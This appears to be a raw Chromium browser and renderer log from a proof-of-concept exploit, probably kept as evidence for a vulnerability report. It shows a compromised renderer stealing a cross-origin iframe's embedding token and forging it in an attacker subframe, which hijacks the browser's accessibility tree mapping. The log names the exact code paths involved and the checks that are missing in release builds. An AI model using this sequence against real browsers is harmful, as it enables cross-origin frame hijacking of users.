[1862:1862:0416/162424.238329:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:19314] [POC][browser] SetEmbeddingToken: rfh=0x7d46565f5100 process=5 routing=1 url=http://attacker.test:9123/attacker.html token=69DFE015E95FC642E9956AF5FAECF41A
[1862:1862:0416/162424.277717:INFO:CONSOLE:10] "[POC][page] Creating cross-origin victim iframe B...", source: http://attacker.test:9123/attacker.html (10)
[1862:1862:0416/162424.414990:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:19314] [POC][browser] SetEmbeddingToken: rfh=0x7d46566aa900 process=6 routing=9 url=http://victim.test:9123/victim.html token=E77BBAC8D122E653BB38FC6EAECBA0EF
[1942:1942:0416/162424.421158:ERROR:third_party/blink/renderer/core/frame/remote_frame.cc:712] [POC][renderer] Intercepted cross-origin child embedding_token E77BBAC8D122E653BB38FC6EAECBA0EF via RemoteFrame::SetEmbeddingToken
[1862:1862:0416/162424.474419:INFO:CONSOLE:10] "[POC][page] Victim iframe B loaded. Its embedding_token has been propagated to this (compromised) renderer via RemoteFrame::SetEmbeddingToken.", source: http://attacker.test:9123/attacker.html (10)
[1862:1862:0416/162425.139507:INFO:CONSOLE:10] "[POC][page] Creating same-origin attacker sibling iframe A2 with forged token...", source: http://attacker.test:9123/attacker.html (10)
[1942:1942:0416/162425.176306:ERROR:content/renderer/render_frame_impl.cc:3927] [POC][renderer] Forging stolen embedding_token E77BBAC8D122E653BB38FC6EAECBA0EF in DidCommitProvisionalLoadParams for subframe url=http://attacker.test:9123/attacker_sub.html
[1862:1862:0416/162425.180303:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:19314] [POC][browser] SetEmbeddingToken: rfh=0x7d4656721100 process=5 routing=5 url=http://attacker.test:9123/attacker_sub.html token=E77BBAC8D122E653BB38FC6EAECBA0EF
[1862:1862:0416/162425.180364:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:19320] [POC][browser] *** VULN *** AXTreeID 53E622D1C8BA7BE7EFA0CBAE6EFC38BB was owned by VICTIM rfh=0x7d46566aa900 (process=6 routing=9 url=http://victim.test:9123/victim.html); about to be hijacked by ATTACKER rfh=0x7d4656721100
[1862:1862:0416/162425.180424:ERROR:ui/accessibility/ax_action_handler_registry.cc:102] [POC][browser] *** VULN *** id_to_action_handler_ OVERWRITE: tree_id=53E622D1C8BA7BE7EFA0CBAE6EFC38BB old_handler=0x7d46566aa980 -> new_handler=0x7d4656721180 -- DCHECK is compiled out in release
[1862:1862:0416/162425.180470:ERROR:ui/accessibility/ax_action_handler_registry.cc:34] [POC][browser] *** VULN *** ax_tree_to_frame_id_map_ OVERWRITE: tree_id=53E622D1C8BA7BE7EFA0CBAE6EFC38BB old_frame_id=(6,9) -> new_frame_id=(5,5) -- NOTREACHED() did not fire
[1862:1862:0416/162425.180513:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:19339] [POC][browser] *** VULN *** Post-overwrite: FromAXTreeID(victim_token) => rfh=0x7d4656721100 url=http://attacker.test:9123/attacker_sub.html (victim rfh=0x7d46566aa900 still alive=yes)
[1862:1862:0416/162425.190990:INFO:CONSOLE:10] "[POC][page] Attacker iframe A2 committed. Browser-process AXActionHandlerRegistry mapping for B's AXTreeID is now hijacked.", source: http://attacker.test:9123/attacker.html (10)